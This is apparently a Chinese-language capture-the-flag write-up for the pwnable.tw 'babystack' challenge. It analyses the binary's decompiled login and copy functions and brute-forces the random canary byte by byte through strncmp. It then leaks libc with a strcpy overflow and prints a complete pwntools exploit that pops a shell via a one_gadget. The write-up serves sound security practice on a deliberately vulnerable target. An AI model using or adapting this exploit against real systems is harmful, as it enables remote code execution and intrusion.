1 程序分析 64 位保护全开,libc 版本 2.23
1 2 3 4 5 6 7 8 9 10 11 12 13 (pwn)secreu@Vanilla:~/code/pwnable/babystack$ checksec --file=babystack [*] '/home/secreu/code/pwnable/babystack/babystack' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./' FORTIFY: Enabled (pwn)secreu@Vanilla:~/code/pwnable/babystack$ strings libc_64.so.6 | grep "GNU" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. GNU Libidn by Simon Josefsson
mian 函数实现了一个菜单循环:
case 1:实现 login,成功则 login_flag = 1,若已登录就 login_flag = 0
case 2:退出,已登录情况下走 return,未登录情况下走 exit(0)
case 3:一个 magic_copy
canary 是从 /dev/urandom 里取出来的,存在栈上,并在一块 mmap 区域备份,程序返回之前会用 memcmp 检查栈上的 canary 是否和备份相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { _QWORD *v3; __int64 v4; _BYTE v6[64 ]; _QWORD buf[2 ]; _BYTE v8[16 ]; initialize(); unk_202018 = open("/dev/urandom" , 0 ); read(unk_202018, buf, 0x10u LL); v3 = password_backup; v4 = buf[1 ]; *(_QWORD *)password_backup = buf[0 ]; v3[1 ] = v4; close(unk_202018); while ( 1 ) { write(1 , ">> " , 3uLL ); _read_chk(0LL , v8, 16LL , 16LL ); if ( v8[0 ] == '2' ) break ; if ( v8[0 ] == '3' ) { if ( login_flag ) magic_copy(v6); else LABEL_13: puts ("Invalid choice" ); } else { if ( v8[0 ] != '1' ) goto LABEL_13; if ( login_flag ) login_flag = 0 ; else login(buf); } } if ( !login_flag ) exit (0 ); memcmp (buf, password_backup, 0x10u LL); return 0LL ; }
1.1 login login 函数读取最多 0x7f 输入到 [rbp-80h],验证 password,也就是 main 函数栈帧上存的 16 字节随机数 canary,注意这里是根据输入的长度进行 strncmp,所以实际上可以不仅仅比较 16 字节,由我们的输入决定,知道 canary 的话还可以比较 canary 之后的东西。所以这里可以干什么,可以爆破栈上 canary,爆破 canary 之后的其他数据
read_n0 读取 n 字节输入,如果最后是 \n 就替换成 \x00,所以直接输入 \n 就可以让 strlen(s) == 0,直接绕过 strncmp
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall login (const char *a1) { size_t v1; char s[128 ]; printf ("Your passowrd :" ); read_n0((unsigned __int8 *)s, 0x7Fu ); v1 = strlen (s); if ( strncmp (s, a1, v1) ) return puts ("Failed !" ); login_flag = 1 ; return puts ("Login Success !" ); }
1.2 magic_copy magic_copy 传入参数是 main 函数栈帧上的 v6,该函数读取最多 0x3f 字节到 [rbp-80h],并且 strcpy 到 v6,很显然这里存在溢出 ,填满 0x3f 字节就可以把栈上残留的其他内容复制到 v6
1 2 3 4 5 6 7 8 9 int __fastcall magic_copy (char *a1) { char src[128 ]; printf ("Copy :" ); read_n0((unsigned __int8 *)src, 0x3Fu ); strcpy (a1, src); return puts ("It is magic copy !" ); }
2 漏洞利用 根据程序分析基本可以确定这题是栈溢出,要覆盖返回地址,但是 canary 检查不通过会进 __stack_chk_fail,所以还是要知道 canary
1 2 3 4 5 6 7 8 9 10 11 12 13 .text:0000000000000FE6 mov edx, 10h ; n .text:0000000000000FEB mov rsi, rcx ; s2 .text:0000000000000FEE mov rdi, rax ; s1 .text:0000000000000FF1 call memcmp .text:0000000000000FF6 test eax, eax .text:0000000000000FF8 jnz short loc_1001 .text:0000000000000FFA mov eax, 0 .text:0000000000000FFF jmp short locret_1051 .text:0000000000001001 ; --------------------------------------------------------------------------- .text:0000000000001001 .text:0000000000001001 loc_1001: ; CODE XREF: main+129↑j .text:0000000000001001 mov eax, 0 .text:0000000000001006 call __stack_chk_fail
首先逐字节爆破 canary,直接利用 login 中的 strncmp(s, a1, v1) 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def login (password: bytes ): io.sendafter(b">> " , b"1" + b"A" * 7 ) io.sendafter(b"Your passowrd :" , password) def brute_force_password (): password = b"" while (len (password) < 16 ): for c in range (1 , 256 ): attempt = password + p8(c) + b"\n" login(attempt) if b"Success" in io.recvline(): password += p8(c) log.info(f"password: {password} " ) logout() break return password
然后是如何泄露 libc,还是利用逐字节爆破手段
main 函数栈帧上,[rbp-0x20 ~ rbp-0x10] 是 canary,[rbp-0x10 ~ rbp] 是菜单 index 的输入缓冲区,可以控制,所以只能爆破 saved rip ?
很容易想到利用 magic_copy 的 strcpy 覆盖 saved rbp,再爆破 saved rip,但是 strcpy 会在最后补 \x00,阻断我们的逐字节对比,所以爆破 saved rip 不可行
作者贴心地把 login 和 magic_copy 的输入缓冲区都开到 128 字节,都是 [rbp-0x80],而 login 可以输入 0x7f 字节,所以我们可以用 login 函数往栈上写东西,再用 magic_copy 输入满 0x3f 字节,最后 strcpy 造成溢出
栈帧复用,此事在 applestore 中亦有记载
最后在 login / magic_copy 的栈帧上发现了 libc 地址
我们先利用 login 将该地址之前的字节填充好,然后 strcpy 将其复制到 main 函数栈帧 [rbp-0x8],就可以继续爆破了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def magic_copy (data: bytes ): io.sendafter(b">> " , b"3" + b"A" * 7 ) io.sendafter(b"Copy :" , data) def brute_force_libc_leak (password: bytes ): libc_leak = b"" while (len (libc_leak) < 6 ): for c in range (1 , 256 ): attempt = password + b"1" + b"A" * 7 + libc_leak + p8(c) + b"\n" login(attempt) if b"Success" in io.recvline(): libc_leak += p8(c) log.info(f"libc_leak: {libc_leak} " ) logout() break return libc_leak def exploit (): password_bytes = brute_force_password() log.info(f"password: {password_bytes} " ) copy_payload = b"A" * 0x40 + password_bytes + b"A" * 8 login(copy_payload) login(b"\n" ) gdb.attach(io) magic_copy(b"A" * 0x3f ) logout() libc_leak_bytes = brute_force_libc_leak(password_bytes) libc_base = u64(libc_leak_bytes.ljust(8 , b"\x00" )) - 0x6ffb4 log.info(f"libc_base: {hex (libc_base)} " )
最后再做一遍 strcpy 覆盖返回地址为 one_gadget,memcmp 成功的返回值就是 0,用 0x45216 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x45216 execve("/bin/sh" , rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh" , rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xef6c4 execve("/bin/sh" , rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf0567 execve("/bin/sh" , rsp+0x70, environ) constraints: [rsp+0x70] == NULL
3 EXP 碰到 canary 随机数中有 \x00 就只能重新跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *elf = ELF("./babystack" ) libc = ELF("./libc_64.so.6" ) context(os=elf.os, arch=elf.arch, log_level='debug' ) def login (password: bytes ): io.sendafter(b">> " , b"1" + b"A" * 7 ) io.sendafter(b"Your passowrd :" , password) def logout (): io.sendafter(b">> " , b"1" + b"A" * 7 ) def bye (): io.sendafter(b">> " , b"2" + b"A" * 7 ) def magic_copy (data: bytes ): io.sendafter(b">> " , b"3" + b"A" * 7 ) io.sendafter(b"Copy :" , data) def brute_force_password (): password = b"" while (len (password) < 16 ): for c in range (1 , 256 ): attempt = password + p8(c) + b"\n" login(attempt) if b"Success" in io.recvline(): password += p8(c) log.info(f"password: {password} " ) logout() break return password def brute_force_libc_leak (password: bytes ): libc_leak = b"" while (len (libc_leak) < 6 ): for c in range (1 , 256 ): attempt = password + b"1" + b"A" * 7 + libc_leak + p8(c) + b"\n" login(attempt) if b"Success" in io.recvline(): libc_leak += p8(c) log.info(f"libc_leak: {libc_leak} " ) logout() break return libc_leak def exploit (): password_bytes = brute_force_password() log.info(f"password: {password_bytes} " ) copy_payload = b"A" * 0x40 + password_bytes + b"A" * 8 login(copy_payload) login(b"\n" ) gdb.attach(io) magic_copy(b"A" * 0x3f ) logout() libc_leak_bytes = brute_force_libc_leak(password_bytes) libc_base = u64(libc_leak_bytes.ljust(8 , b"\x00" )) - 0x6ffb4 log.info(f"libc_base: {hex (libc_base)} " ) onegadget = libc_base + 0x45216 copy_payload = b"A" * 0x40 + password_bytes + b"A" * 0x18 + p64(onegadget) login(copy_payload) login(b"\n" ) magic_copy(b"A" * 0x3f ) bye() io.interactive() if __name__ == "__main__" : if args.REMOTE: io = remote("chall.pwnable.tw" , 10205 , timeout=10 ) elif args.GDB: io = gdb.debug(elf.path, "b *$rebase(0xF78)" ) else : io = process(elf.path) exploit()